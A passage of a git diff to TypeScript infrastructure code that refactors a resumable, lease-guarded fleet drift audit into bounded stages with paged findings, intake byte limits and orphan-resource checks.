recordProgress.generation + : generation; + try { + await options.inventoryStore.pinGeneration({ + generation: pinGenerationValue, + pinnedBy: pinnedBy(operationId), + }); + } catch { + return failAudit(options, lease, record, recordProgress, { + reason: 'generation-unavailable', + }); + } + const rows: FleetOperationStagedRow[] = records.map((entry, ordinal) => ({ + rowKind: 'record', + ordinal, + payload: entry as unknown as Record, + })); + await lease.stageRows({ + operationId, + expectedRevision: 0, + rows, + }); + const committedProgress: FleetAuditProgress = { + ...fleetAuditProgressFromUnknown(record.progress), + generation: pinGenerationValue, + revision: 1, + }; + try { + const committed = await lease.commitProgress({ + operationId, + expectedRevision: 0, + runRecord: { + ...record, + progress: committedProgress, + updatedAt: new Date().toISOString(), + }, + expectedRowWatermarks: { record: records.length }, + }); + const finalProgress = fleetAuditProgressFromUnknown(committed.progress); + return { + status: 'pending', + token: fleetOperationTokenOf(committed), + stage: finalProgress.stage, + }; + } catch { + // A far-advanced running (or since-terminal) operation: the revision-1 + // replay cannot converge, so the caller receives the current + // authoritative state exactly as a stale-token continue would (§5.5). + const current = await lease.readOperation(operationId); + if (current) return resultFromRun(current); + const persisted = + await options.operationStore.readOperationById(operationId); + if (persisted) return resultFromRun(persisted); + throw new FleetOperationTokenOperationError(operationId); + } + }, + ); +} + +async function continueAudit( + options: AdvanceFleetAuditOptions, + token: unknown, + maxItemsPerCall: number, +): Promise { + const parsed = parseFleetOperationToken(token); + return options.operationStore.withAccountOperationLease( + 'audit', + async (lease) => { + await lease.assertOwned(); + let run = await lease.readOperation(parsed.operationId); + if (!run) { + const persisted = await options.operationStore.readOperationById( + parsed.operationId, + ); + if (!persisted) { + throw new FleetOperationTokenOperationError(parsed.operationId); + } + run = persisted; + } + const classification = classifyFleetOperationToken(parsed, run, 'audit'); + if (classification === 'stale' || run.state !== 'running') { + return resultFromRun(run); + } + return advanceOneChunk(options, lease, run, maxItemsPerCall); + }, + ); +} + +/** + * Performs at most ONE bounded audit stage chunk against the durable + * operation store, then returns the authoritative token. Provider work is + * reached only through the injected resolvers, so this coordinator stays + * transport-neutral. + * + * A stale token returns the authoritative current result with ZERO + * resolver/generation/provider work; a token ahead of the persisted + * operation, a foreign-kind token, an unknown operation, and every missing + * store capability all fail closed before any such work. + */ +export async function advanceFleetAudit( + options: AdvanceFleetAuditOptions, +): Promise { + assertCapability(options.operationStore, 'operation-store'); + assertCapability(options.inventoryStore, 'generation-read'); + assertCapability(options.inventoryStore, 'generation-pin'); + options.signal?.throwIfAborted(); + const maxItemsPerCall = options.maxItemsPerCall ?? DEFAULT_MAX_ITEMS_PER_CALL; + assertMaxItemsPerCall(maxItemsPerCall); + if (options.action.kind === 'start') { + return startAudit(options, options.action); + } + return continueAudit(options, options.action.token, maxItemsPerCall); +} + +/** + * Reads one page of an operation's parsed drift findings. Terminal-only + * (failed operations included); never touches the inventory store. The + * findings come back in ordinal order whatever order the store's page + * arrived in (the port lets a page arrive unordered). Finding ordinals are + * contiguous from zero and a page holds the smallest qualifying ordinals, + * so a caller pages the whole set with + * `afterOrdinal = (afterOrdinal ?? -1) + findings.length` until `done`. + */ +export async function readFleetAuditFindingsPage( + store: FleetOperationStore, + input: Readonly<{ + operationId: string; + afterOrdinal?: number; + limit: number; + }>, +): Promise> { + const { operationId, afterOrdinal, limit } = input; + const run = await store.readOperationById(operationId); + if (!run) { + throw new FleetOperationTokenOperationError(operationId); + } + if (run.kind !== 'audit') { + throw new Error(OTHER_OPERATION_KIND_MESSAGE(operationId)); + } + if (run.state === 'running') { + throw new Error(`fleet audit operation '${operationId}' is not terminal`); + } + const page = await store.readOperationRowsPage({ + operationId, + rowKind: 'finding', + limit, + ...(afterOrdinal === undefined ? {} : { afterOrdinal }), + }); + return { + findings: [...page.rows] + .sort((left, right) => left.ordinal - right.ordinal) + .map( + (row) => + driftFindingRowFromUnknown(row.payload) as unknown as DriftFinding, + ), + done: page.done, + }; +} + +/** + * Unblocks a stuck RUNNING audit operation, or releases any surviving pin on + * an already-terminal one (§5.5 ABANDONMENT). Idempotent throughout. + */ +export async function abandonFleetAuditOperation( + input: Readonly<{ + operationStore: FleetOperationStore; + inventoryStore: FleetInventoryRunStore; + operationId: string; + }>, +): Promise { + const { operationStore, inventoryStore, operationId } = input; + await operationStore.withAccountOperationLease('audit', async (lease) => { + const run = await lease.readOperation(operationId); + if (run && run.state === 'running') { + if (run.kind !== 'audit') { + throw new Error(OTHER_OPERATION_KIND_MESSAGE(operationId)); + } + const progress = fleetAuditProgressFromUnknown(run.progress); + const newProgress: FleetAuditProgress = { + ...progress, + revision: progress.revision + 1, + failure: { reason: 'operator-abandoned' }, + }; + await lease.failOperation({ + operationId, + expectedRevision: progress.revision, + runRecord: { + ...run, + state: 'failed', + progress: newProgress, + updatedAt: new Date().toISOString(), + }, + }); + await inventoryStore.releasePin({ + generation: progress.generation, + pinnedBy: pinnedBy(operationId), + }); + return; + } + const persisted = + run ?? (await operationStore.readOperationById(operationId)); + if (!persisted) { + throw new FleetOperationTokenOperationError(operationId); + } + if (persisted.kind !== 'audit') { + throw new Error(OTHER_OPERATION_KIND_MESSAGE(operationId)); + } + const progress = fleetAuditProgressFromUnknown(persisted.progress); + await inventoryStore.releasePin({ + generation: progress.generation, + pinnedBy: pinnedBy(operationId), + }); + }); +} diff --git a/packages/fleet-control/src/fleet-audit-state.ts b/packages/fleet-control/src/fleet-audit-state.ts index 1db5994d..c27c70af 100644 --- a/packages/fleet-control/src/fleet-audit-state.ts +++ b/packages/fleet-control/src/fleet-audit-state.ts @@ -7,9 +7,9 @@ import { import { assertFleetOperationExactKeys, FLEET_OPERATION_ITEM_BOUND, + FLEET_OPERATION_STRING_BYTE_BOUND, type FleetOperationProgress, type FleetOperationRunRecord, - fleetOperationBoundedString, fleetOperationFailureFromUnknown, fleetOperationPlainRecord, fleetOperationRunRecordFromUnknown, @@ -130,13 +130,18 @@ export type FleetAuditFactPayload = }> | Readonly<{ factKind: 'duplicate-namespace'; key: string }>; -function structurallySafeText(value: unknown): value is string { +function boundedString(value: unknown): value is string { return ( - fleetOperationBoundedString(value) && - !fleetOperationTextHasControlBytes(value) + typeof value === 'string' && + new TextEncoder().encode(value).byteLength <= + FLEET_OPERATION_STRING_BYTE_BOUND ); } +function structurallySafeText(value: unknown): value is string { + return boundedString(value) && !fleetOperationTextHasControlBytes(value); +} + export function fleetAuditStageFromUnknown(value: unknown): FleetAuditStage { const candidate = fleetOperationPlainRecord(value); if ( @@ -160,14 +165,21 @@ export function fleetAuditStageFromUnknown(value: unknown): FleetAuditStage { } as FleetAuditStage; } -function stageEntry(step: FleetAuditStage['step']): FleetAuditStage { - const ordinal = STAGE_ORDINAL[step]; +export function withAuditStageOrdinal( + step: FleetAuditStage['step'], + ordinal: number, +): FleetAuditStage { + const ordinalField = STAGE_ORDINAL[step]; return { step, - ...(ordinal === undefined ? {} : { [ordinal]: 0 }), + ...(ordinalField === undefined ? {} : { [ordinalField]: ordinal }), } as FleetAuditStage; } +function stageEntry(step: FleetAuditStage['step']): FleetAuditStage { + return withAuditStageOrdinal(step, 0); +} + export function nextAuditStage( stage: FleetAuditStage, exhausted: boolean, @@ -206,7 +218,8 @@ export function fleetAuditProgressFromUnknown( !fleetOperationSafeInteger(candidate.revision) || !fleetOperationSafeInteger(candidate.generation, 1) || !fleetOperationSafeInteger(candidate.auditTimeMs) || - !fleetOperationSafeInteger(candidate.staleAfterMs) || + Number.isNaN(new Date(candidate.auditTimeMs).getTime()) || + !fleetOperationSafeInteger(candidate.staleAfterMs, 1) || !fleetOperationSafeInteger(candidate.recordCount) || candidate.recordCount > FLEET_OPERATION_ITEM_BOUND || !fleetOperationSafeInteger(candidate.findingCount) || @@ -255,8 +268,8 @@ export function driftFindingRowFromUnknown( ]); // These are provider-claimed observations that the drain emits verbatim. if ( - !structurallySafeText(candidate.tenantTag) || - !structurallySafeText(candidate.environment) || + !boundedString(candidate.tenantTag) || + !boundedString(candidate.environment) || typeof candidate.kind !== 'string' || !FLEET_AUDIT_FINDING_KINDS.includes( candidate.kind as FleetAuditFindingKind, @@ -279,7 +292,7 @@ export function fleetAuditFactRowFromUnknown( const candidate = fleetOperationPlainRecord(value); if (candidate.factKind === 'duplicate-namespace') { assertFleetOperationExactKeys(candidate, ['factKind', 'key']); - if (!structurallySafeText(candidate.key)) return malformed(); + if (!boundedString(candidate.key)) return malformed(); return { factKind: 'duplicate-namespace', key: candidate.key }; } if ( @@ -295,7 +308,7 @@ export function fleetAuditFactRowFromUnknown( 'environment', ]); if ( - !structurallySafeText(candidate.key) || + !boundedString(candidate.key) || typeof candidate.tenantTag !== 'string' || !isDeploymentTenantTag(candidate.tenantTag) || typeof candidate.environment !== 'string' || diff --git a/packages/fleet-control/src/fleet-operation-state.ts b/packages/fleet-control/src/fleet-operation-state.ts index 0a3ac0af..aeed7014 100644 --- a/packages/fleet-control/src/fleet-operation-state.ts +++ b/packages/fleet-control/src/fleet-operation-state.ts @@ -12,12 +12,17 @@ const DEPTH_BOUND = 64; const NODE_BOUND = 8192; export const FLEET_OPERATION_ITEM_BOUND = 10_000; /** - * Total serialized intake bytes per operation. The operative per-call memory - * envelope also includes the materialized inventory generation. + * Total canonical intake bytes per operation, measured as the sum of per-item + * canonical bytes. Item depth and node bounds apply per item; no aggregate + * node bound exists. The operative per-call memory envelope also includes the + * materialized inventory generation. */ export const FLEET_OPERATION_INTAKE_BYTE_BOUND = 16 * 1024 * 1024; /** Statements per D1 batch used by the staging protocol. */ export const FLEET_OPERATION_STAGE_BATCH_STATEMENTS = 100; +/** At most 99 non-record rows per record times 10,000 records. */ +export const FLEET_OPERATION_ROW_READ_BOUND = + (FLEET_OPERATION_STAGE_BATCH_STATEMENTS - 1) * FLEET_OPERATION_ITEM_BOUND; /** Frozen plan length cap (fixed steps plus pending D1 versions). */ export const FLEET_MIGRATION_PLAN_BOUND = 64; @@ -83,6 +88,18 @@ export interface FleetOperationStagedRow { readonly payload: Readonly>; } +export interface FleetOperationItemsIntake { + readonly envelope: Record; + readonly items: readonly unknown[]; + readonly itemByteBound: number; +} + +export type FleetOperationIntakeRefusal = + | { readonly reason: 'item-count' } + | { readonly reason: 'item-structure'; readonly itemOrdinal: number } + | { readonly reason: 'item-bytes'; readonly itemOrdinal: number } + | { readonly reason: 'aggregate-bytes' }; + export class FleetOperationStateError extends Error { constructor() { super('fleet operation state is malformed'); @@ -135,6 +152,14 @@ export interface FleetOperationStore { readOperationById( operationId: string, ): Promise; + /** + * Reads at most `limit` rows of the requested kind whose ordinal is strictly + * greater than the exclusive `afterOrdinal`; an absent cursor starts at the + * beginning. `done` means no matching rows remain beyond this page. Callers + * do not rely on the ordering of rows within a page. A page contains the + * smallest qualifying ordinals; omitting a row whose ordinal is below one + * the page returns is non-conforming. + */ readOperationRowsPage( input: Readonly<{ operationId: string; @@ -219,6 +244,73 @@ export function malformed(): never { throw new FleetOperationStateError(); } +/** + * Reads and ordinal-sorts every contiguous-from-zero staged row of one kind. + * Fails closed on an empty unfinished page, any row at or below the requested + * exclusive cursor, a duplicate ordinal, or a gap. Record reads cap at + * `FLEET_OPERATION_ITEM_BOUND`; other kinds cap at + * `FLEET_OPERATION_ROW_READ_BOUND`. + */ +export async function readAllFleetOperationRows( + store: FleetOperationStore, + operationId: string, + rowKind: FleetOperationRowKind, +): Promise { + const rows: FleetOperationStagedRow[] = []; + const rowReadBound = + rowKind === 'record' + ? FLEET_OPERATION_ITEM_BOUND + : FLEET_OPERATION_ROW_READ_BOUND; + let afterOrdinal: number | undefined; + for (;;) { + const page = await store.readOperationRowsPage({ + operationId, + rowKind, + limit: 1_000, + ...(afterOrdinal === undefined ? {} : { afterOrdinal }), + }); + // A surviving row exceeds every ordinal collected from prior pages, so + // only duplicates within this page need an explicit set. + const pageOrdinals = new Set(); + let maximumOrdinal: number | undefined; + for (const row of page.rows) { + if ( + (afterOrdinal !== undefined && row.ordinal <= afterOrdinal) || + pageOrdinals.has(row.ordinal) + ) { + return malformed(); + } + pageOrdinals.add(row.ordinal); + if (maximumOrdinal === undefined || row.ordinal > maximumOrdinal) { + maximumOrdinal = row.ordinal; + } + } + rows.push(...page.rows); + if (rows.length > rowReadBound) return malformed(); + if (page.done) break; + if (maximumOrdinal === undefined) return malformed(); + afterOrdinal = maximumOrdinal; + } + const sortedRows = [...rows].sort( + (left, right) => left.ordinal - right.ordinal, + ); + for (const [index, row] of sortedRows.entries()) { + if (row.ordinal !== index) return malformed(); + } + return sortedRows; +} + +/** Constructs the public continuation token for one durable run record. */ +export function fleetOperationTokenOf( + run: FleetOperationRunRecord, +): FleetOperationToken { + return { + version: 1, + operationId: run.operationId, + revision: run.progress.revision, + }; +} + const TEXT_ENCODER = new TextEncoder(); function utf8Length(value: string): number { @@ -323,6 +415,26 @@ function fleetOperationBoundedPlain(value: unknown, maxBytes: number): unknown { } } +function stagedRowMaxBytes(rowKind: FleetOperationRowKind): number { + return rowKind === 'record' + ? FLEET_OPERATION_RECORD_ROW_BYTE_BOUND + : FLEET_OPERATION_ROW_PAYLOAD_BYTE_BOUND; +} + +/** Tests a payload against the exact bounds enforced by the staged-row codec. */ +export function fleetOperationStagedRowPayloadFitsEnvelope( + rowKind: FleetOperationRowKind, + payload: unknown, +): boolean { + try { + fleetOperationBoundedPlain(payload, stagedRowMaxBytes(rowKind)); + return true; + } catch { + // fleetOperationBoundedPlain normalizes every violation to this false path. + return false; + } +} + export function fleetOperationFailureFromUnknown( value: unknown, ): FleetOperationFailure { @@ -426,15 +538,12 @@ export function fleetOperationStagedRowFromUnknown( ) { return malformed(); } - const maxBytes = - candidate.rowKind === 'record' - ? FLEET_OPERATION_RECORD_ROW_BYTE_BOUND - : FLEET_OPERATION_ROW_PAYLOAD_BYTE_BOUND; + const rowKind = candidate.rowKind as FleetOperationRowKind; const payload = fleetOperationPlainRecord( - fleetOperationBoundedPlain(candidate.payload, maxBytes), + fleetOperationBoundedPlain(candidate.payload, stagedRowMaxBytes(rowKind)), ); return { - rowKind: candidate.rowKind as FleetOperationRowKind, + rowKind, ordinal: candidate.ordinal, payload: { ...payload }, }; @@ -524,14 +633,70 @@ export function canonicalFleetOperationBytes(value: unknown): string { return JSON.stringify(canonicalValue(plain)); } -/** SHA-256 of canonical intake, refusing an operation above 16 MiB. */ +/** + * SHA-256 of one canonical value under the module's per-value structure bounds: + * depth 64, 8,192 nodes, and 4 KiB string values or object keys. Multi-item + * intakes must use `fleetOperationItemsIntake`. + */ export function fleetOperationIntakeDigest(value: unknown): string { return createHash('sha256') .update(canonicalFleetOperationBytes(value)) .digest('hex'); } -/** Non-throwing write gate for composed audit finding details. */ +/** + * Canonicalizes each item under the per-item depth and node bounds, then + * applies byte-only per-item and aggregate limits without cloning the intake + * as one tree. A successful result includes JSON-parsed canonical snapshots + * so later awaits cannot observe mutation through the caller's aliases. + */ +export function fleetOperationItemsIntake( + intake: FleetOperationItemsIntake, +): + | { readonly digest: string; readonly items: readonly unknown[] } + | FleetOperationIntakeRefusal { + if (intake.items.length > FLEET_OPERATION_ITEM_BOUND) { + return { reason: 'item-count' }; + } + const hash = createHash('sha256').update( + canonicalFleetOperationBytes(intake.envelope), + ); + let aggregateBytes = 0; + const items: unknown[] = []; + for (const [itemOrdinal, item] of intake.items.entries()) { + let canonical: string; + try { + canonical = canonicalFleetOperationBytes(item); + } catch (error) { + if (!(error instanceof FleetOperationStateError)) throw error; + try { + const serialized = JSON.stringify(item); + if ( + typeof serialized === 'string' && + utf8Length(serialized) > intake.itemByteBound + ) { + return { reason: 'item-bytes', itemOrdinal }; + } + } catch { + return { reason: 'item-structure', itemOrdinal }; + } + return { reason: 'item-structure', itemOrdinal }; + } + const itemBytes = utf8Length(canonical); + if (itemBytes > intake.itemByteBound) { + return { reason: 'item-bytes', itemOrdinal }; + } + aggregateBytes += itemBytes; + if (aggregateBytes > FLEET_OPERATION_INTAKE_BYTE_BOUND) { + return { reason: 'aggregate-bytes' }; + } + hash.update(String(itemBytes)).update(':').update(canonical); + items.push(JSON.parse(canonical) as unknown); + } + return { digest: hash.digest('hex'), items }; +} + +/** Non-throwing write gate for every durable audit finding detail. */ export function isDurableAuditDetailSafe(value: unknown): boolean { if ( typeof value !== 'string' || diff --git a/packages/fleet-control/src/fleet.ts b/packages/fleet-control/src/fleet.ts index 4efedaea..3e3ab209 100644 --- a/packages/fleet-control/src/fleet.ts +++ b/packages/fleet-control/src/fleet.ts @@ -44,6 +44,7 @@ import type { ExternalPlatformTargetDescription, ExternalReleaseSnapshot, ExternalReleaseTopology, + FleetInventoryDeployment, FleetInventoryFinding, FleetRecord, FleetResourceInventory, @@ -534,59 +535,81 @@ function configuredDuties(health: MaintenanceHealth): readonly DutyHealth[] { ]; } -function staleDutyReason( +interface DutySegment { + readonly template: string; + readonly diagnostic: string | null; +} + +/** + * Splits `staleDutyReason`'s composition into a template plus an optional raw + * diagnostic segment (R4-B.2), so a caller can persist the template alone and + * separately compose the legacy byte-identical string with the diagnostic + * inlined. + */ +function staleDutySegment( duty: DutyHealth, deployedAt: number | undefined, now: number, staleAfterMs: number, -): string | undefined { +): DutySegment | undefined { if (duty.lastError !== undefined) { - return `${duty.name} last attempt failed${ - duty.lastAttemptAt === undefined || duty.lastAttemptAt === null - ? '' - : ` at ${duty.lastAttemptAt}` - }: ${duty.lastError}`; + return { + template: `${duty.name} last attempt failed${ + duty.lastAttemptAt === undefined || duty.lastAttemptAt === null + ? '' + : ` at ${duty.lastAttemptAt}` + }`, + diagnostic: duty.lastError, + }; } const reference = duty.lastSuccessAt ?? deployedAt; if (reference === undefined) { - return `${duty.name} has no success or deployment freshness reference`; + return { + template: `${duty.name} has no success or deployment freshness reference`, + diagnostic: null, + }; } if (now - reference <= staleAfterMs) return undefined; - return duty.lastSuccessAt === null - ? `${duty.name} has not succeeded within the deployment grace period` - : `${duty.name} last succeeded ${now - duty.lastSuccessAt}ms ago`; + return { + template: + duty.lastSuccessAt === null + ? `${duty.name} has not succeeded within the deployment grace period` + : `${duty.name} last succeeded ${now - duty.lastSuccessAt}ms ago`, + diagnostic: null, + }; } -export async function auditFleetDrift(options: { - readonly store: FleetStateStore; - readonly records: readonly FleetRecord[]; - readonly inventory: FleetResourceInventory; - readonly backendFor: (record: FleetRecord) => ProvisioningBackend; - readonly specFor: (record: FleetRecord) => DeploymentSpec; - readonly maintenanceSecretFor: (record: FleetRecord) => string; - readonly staleAfterMs: number; - readonly now?: number; -}): Promise { - if (!Number.isSafeInteger(options.staleAfterMs) || options.staleAfterMs < 1) { - throw new Error('staleAfterMs must be a positive safe integer'); - } - const now = options.now ?? Date.now(); - const findings: DriftFinding[] = [...options.inventory.findings]; - // A deployment under active bounded cleanup is audit-suppressed in both - // directions: it feeds no expectations (no missing/duplicate findings) and - // its declared resource identities join the known sets below so its - // still-present resources never read as orphans. The bounded engine is the - // reconciliation authority; a long-blocked cleanup stays visible through - // the record itself, never through drift findings. - const auditedRecords = options.records.filter( - (record) => !hasActiveCleanup(record), - ); +// --------------------------------------------------------------------------- +// Audit set-builders (R4-B.2): pure derivations over `records`/`inventory` +// that both the drain and the bounded coordinator's global stages consume. +// Each mirrors one pre-decomposition accumulation exactly; none emits +// findings. +// --------------------------------------------------------------------------- + +export function fleetAuditAuditedRecords( + records: readonly FleetRecord[], +): readonly FleetRecord[] { + return records.filter((record) => !hasActiveCleanup(record)); +} + +/** The five orphan-suppression sets seeded from records under active cleanup. */ +export interface FleetAuditKnownSets { + readonly knownScriptKeys: ReadonlySet; + readonly knownRouteKeys: ReadonlySet; + readonly knownDatabaseIds: ReadonlySet; + readonly knownNamespaceIds: ReadonlySet; + readonly knownBucketNames: ReadonlySet; +} + +export function fleetAuditKnownSets( + records: readonly FleetRecord[], +): FleetAuditKnownSets { const knownScriptKeys = new Set(); const knownRouteKeys = new Set(); const knownDatabaseIds = new Set(); const knownNamespaceIds = new Set(); const knownBucketNames = new Set(); - for (const record of options.records) { + for (const record of records) { if (!hasActiveCleanup(record)) continue; const scriptKeys = cleanupKnownScriptKeys(record); for (const key of scriptKeys) { @@ -606,6 +629,18 @@ export async function auditFleetDrift(options: { knownBucketNames.add(resource.bucketName); } } + return { + knownScriptKeys, + knownRouteKeys, + knownDatabaseIds, + knownNamespaceIds, + knownBucketNames, + }; +} + +export function fleetAuditRecordsByScript( + auditedRecords: readonly FleetRecord[], +): ReadonlyMap { const recordsByScript = new Map(); for (const record of auditedRecords) { for (const expected of expectedDeploymentKeys(record)) { @@ -615,12 +650,174 @@ export async function auditFleetDrift(options: { recordsByScript.set(key, matches); } } - for (const registration of options.inventory.scriptRegistrations) { + return recordsByScript; +} + +export function fleetAuditLiveByScript( + deployments: readonly FleetInventoryDeployment[], +): ReadonlyMap { + const liveByScript = new Map(); + for (const deployment of deployments) { + const key = `${deployment.backend}:${deployment.scriptName}`; + const matches = liveByScript.get(key) ?? []; + matches.push(deployment); + liveByScript.set(key, matches); + } + return liveByScript; +} + +export function fleetAuditRegisteredDatabaseIds( + auditedRecords: readonly FleetRecord[], +): ReadonlySet { + return new Set( + auditedRecords.filter(expectsDatabase).map((record) => record.databaseId), + ); +} + +export function fleetAuditExpectedRoutes( + auditedRecords: readonly FleetRecord[], +): ReadonlyMap< + string, + Readonly<{ record: FleetRecord; scriptNames: readonly string[] }> +> { + return new Map( + auditedRecords + .filter(expectsRoute) + .map((record) => [ + record.routeHostname, + { record, scriptNames: allowedRouteScriptNames(record) }, + ]), + ); +} + +export function fleetAuditLiveRoutesByHostname( + routes: readonly FleetResourceInventory['routes'][number][], +): ReadonlyMap { + const liveRoutesByHostname = new Map< + string, + FleetResourceInventory['routes'][number][] + >(); + for (const route of routes) { + const routeMatches = liveRoutesByHostname.get(route.hostname) ?? []; + routeMatches.push(route); + liveRoutesByHostname.set(route.hostname, routeMatches); + } + return liveRoutesByHostname; +} + +export function fleetAuditExpectedNamespaceIds( + auditedRecords: readonly FleetRecord[], +): ReadonlySet { + return new Set( + auditedRecords + .filter(expectsNamespaces) + .flatMap(expectedNamespaceIdsForRecord), + ); +} + +/** + * The one first-owner-wins walk over the namespace claims of every + * namespace-expecting record, in record then namespace order. The + * `namespace-expectations` stage (emission), its prefix/full seed (the map), + * and the records-derived duplicate set (the collisions) all run through it, + * so the claim rule exists once (R4-B.2 §6.4 SEED DERIVATION). `owners` is + * mutated in place; `onClaim` receives the prior owner, undefined when this + * record has just become the owner. + */ +function walkNamespaceClaims( + records: readonly FleetRecord[], + owners: Map, + onClaim: ( + record: FleetRecord, + namespaceId: string, + priorOwner: FleetRecord | undefined, + ) => void, +): void { + for (const record of records.filter(expectsNamespaces)) { + for (const namespaceId of expectedNamespaceIdsForRecord(record)) { + const priorOwner = owners.get(namespaceId); + if (!priorOwner) owners.set(namespaceId, record); + onClaim(record, namespaceId, priorOwner); + } + } +} + +/** + * The records-derived expected-duplicate seed (R4-B.2 §6.1): the set of + * namespace ids more than one audited, namespace-expecting record claims. + * Pure over `auditedRecords`, independent of chunk position — equal to what + * the `namespace-expectations` stage's own first-owner loop accumulates by + * the time it completes. + */ +export function fleetAuditRecordsDerivedDuplicateNamespaceIds( + auditedRecords: readonly FleetRecord[], +): ReadonlySet { + const duplicates = new Set(); + walkNamespaceClaims( + auditedRecords, + new Map(), + (_record, namespaceId, priorOwner) => { + if (priorOwner) duplicates.add(namespaceId); + }, + ); + return duplicates; +} + +/** + * First-owner-wins replay of the `namespace-expectations` claim loop with no + * emission, used both to seed a bounded chunk's prefix and (over the full + * audited-record list) to reconstruct the stage's finished map. + */ +export function fleetAuditExpectedNamespaceOwnersSeed( + records: readonly FleetRecord[], +): Map { + const owners = new Map(); + walkNamespaceClaims(records, owners, () => undefined); + return owners; +} + +export type FleetAuditExpectedBucketEntry = Readonly<{ + record: FleetRecord; + resource: NonNullable[number]; +}>; + +/** + * First-claim-wins replay of the `r2-expected` claim loop with no emission, + * used both to seed a bounded chunk's prefix and (over the full audited- + * record list) to reconstruct the stage's finished map for + * `r2-orphans`/`r2-missing-identity`. + */ +export function fleetAuditExpectedBucketsSeed( + records: readonly FleetRecord[], +): Map { + const expectedBuckets = new Map(); + // The emitting stage over an EMPTY map is exactly the non-emitting + // rebuild; its findings are discarded (R4-B.2 §6.4 SEED DERIVATION). + auditR2ExpectedStage({ records, expectedBuckets }); + return expectedBuckets; +} + +// --------------------------------------------------------------------------- +// Audit global stage functions (R4-B.2). Each takes an iteration slice plus +// its derived sets and returns the findings for that slice, in the same +// order `auditFleetDrift`'s pre-decomposition body pushed them. +// --------------------------------------------------------------------------- + +export function auditRegistrationOrphansStage( + input: Readonly<{ + scriptRegistrations: readonly FleetResourceInventory['scriptRegistrations'][number][]; + deployments: readonly FleetInventoryDeployment[]; + recordsByScript: ReadonlyMap; + knownScriptKeys: ReadonlySet; + }>, +): readonly DriftFinding[] { + const findings: DriftFinding[] = []; + for (const registration of input.scriptRegistrations) { const key = `workers-for-platforms:${registration.scriptName}`; if ( - !recordsByScript.has(key) && - !knownScriptKeys.has(key) && - !options.inventory.deployments.some( + !input.recordsByScript.has(key) && + !input.knownScriptKeys.has(key) && + !input.deployments.some( (deployment) => deployment.backend === 'workers-for-platforms' && deployment.scriptName === registration.scriptName, @@ -634,16 +831,20 @@ export async function auditFleetDrift(options: { }); } } - const liveByScript = new Map< - string, - FleetResourceInventory['deployments'][number][] - >(); - for (const deployment of options.inventory.deployments) { + return findings; +} + +export function auditDeploymentOrphansStage( + input: Readonly<{ + deployments: readonly FleetInventoryDeployment[]; + recordsByScript: ReadonlyMap; + knownScriptKeys: ReadonlySet; + }>, +): readonly DriftFinding[] { + const findings: DriftFinding[] = []; + for (const deployment of input.deployments) { const key = `${deployment.backend}:${deployment.scriptName}`; - const matches = liveByScript.get(key) ?? []; - matches.push(deployment); - liveByScript.set(key, matches); - if (!recordsByScript.has(key) && !knownScriptKeys.has(key)) { + if (!input.recordsByScript.has(key) && !input.knownScriptKeys.has(key)) { findings.push({ tenantTag: deployment.tenantTag, environment: deployment.environment, @@ -652,13 +853,24 @@ export async function auditFleetDrift(options: { }); } } - for (const record of auditedRecords) { + return findings; +} + +export function auditDeploymentGapsStage( + input: Readonly<{ + records: readonly FleetRecord[]; + liveByScript: ReadonlyMap; + scriptRegistrations: readonly FleetResourceInventory['scriptRegistrations'][number][]; + }>, +): readonly DriftFinding[] { + const findings: DriftFinding[] = []; + for (const record of input.records) { for (const expected of expectedDeploymentKeys(record)) { const key = `${expected.backend}:${expected.scriptName}`; - const liveMatches = liveByScript.get(key) ?? []; + const liveMatches = input.liveByScript.get(key) ?? []; const registered = expected.backend !== 'workers-for-platforms' || - options.inventory.scriptRegistrations.some( + input.scriptRegistrations.some( (registration) => registration.scriptName === expected.scriptName && registration.tenantTag === record.tenantTag && @@ -686,13 +898,21 @@ export async function auditFleetDrift(options: { } } } - const registeredDatabaseIds = new Set( - auditedRecords.filter(expectsDatabase).map((record) => record.databaseId), - ); - for (const databaseId of options.inventory.databaseIds) { + return findings; +} + +export function auditOrphanDatabasesStage( + input: Readonly<{ + databaseIds: readonly string[]; + registeredDatabaseIds: ReadonlySet; + knownDatabaseIds: ReadonlySet; + }>, +): readonly DriftFinding[] { + const findings: DriftFinding[] = []; + for (const databaseId of input.databaseIds) { if ( - !registeredDatabaseIds.has(databaseId) && - !knownDatabaseIds.has(databaseId) + !input.registeredDatabaseIds.has(databaseId) && + !input.knownDatabaseIds.has(databaseId) ) { findings.push({ tenantTag: 'unknown', @@ -702,24 +922,25 @@ export async function auditFleetDrift(options: { }); } } - const expectedRoutes = new Map( - auditedRecords - .filter(expectsRoute) - .map((record) => [ - record.routeHostname, - { record, scriptNames: allowedRouteScriptNames(record) }, - ]), - ); - const liveRoutesByHostname = new Map< - string, - FleetResourceInventory['routes'][number][] - >(); - for (const route of options.inventory.routes) { - const routeMatches = liveRoutesByHostname.get(route.hostname) ?? []; - routeMatches.push(route); - liveRoutesByHostname.set(route.hostname, routeMatches); - const expected = expectedRoutes.get(route.hostname); - if (knownRouteKeys.has(`${route.hostname}:${route.scriptName}`)) continue; + return findings; +} + +export function auditOrphanRoutesStage( + input: Readonly<{ + routes: readonly FleetResourceInventory['routes'][number][]; + expectedRoutes: ReadonlyMap< + string, + Readonly<{ record: FleetRecord; scriptNames: readonly string[] }> + >; + knownRouteKeys: ReadonlySet; + }>, +): readonly DriftFinding[] { + const findings: DriftFinding[] = []; + for (const route of input.routes) { + const expected = input.expectedRoutes.get(route.hostname); + if (input.knownRouteKeys.has(`${route.hostname}:${route.scriptName}`)) { + continue; + } if ( !expected || expected.record.backend !== route.backend || @@ -736,19 +957,21 @@ export async function auditFleetDrift(options: { }); } } - const databases = new Map(); - const expectedNamespaceOwners = new Map(); - const liveNamespaceOwners = new Map(); - const duplicateNamespaceIds = new Set(); - const expectedNamespaceIds = new Set( - auditedRecords - .filter(expectsNamespaces) - .flatMap(expectedNamespaceIdsForRecord), - ); - for (const namespaceId of options.inventory.namespaceIds) { + return findings; +} + +export function auditNamespaceOrphansStage( + input: Readonly<{ + namespaceIds: readonly string[]; + expectedNamespaceIds: ReadonlySet; + knownNamespaceIds: ReadonlySet; + }>, +): readonly DriftFinding[] { + const findings: DriftFinding[] = []; + for (const namespaceId of input.namespaceIds) { if ( - !expectedNamespaceIds.has(namespaceId) && - !knownNamespaceIds.has(namespaceId) + !input.expectedNamespaceIds.has(namespaceId) && + !input.knownNamespaceIds.has(namespaceId) ) { findings.push({ tenantTag: 'unknown', @@ -758,21 +981,32 @@ export async function auditFleetDrift(options: { }); } } - for (const record of auditedRecords.filter(expectsNamespaces)) { - for (const namespaceId of expectedNamespaceIdsForRecord(record)) { - const namespaceOwner = expectedNamespaceOwners.get(namespaceId); + return findings; 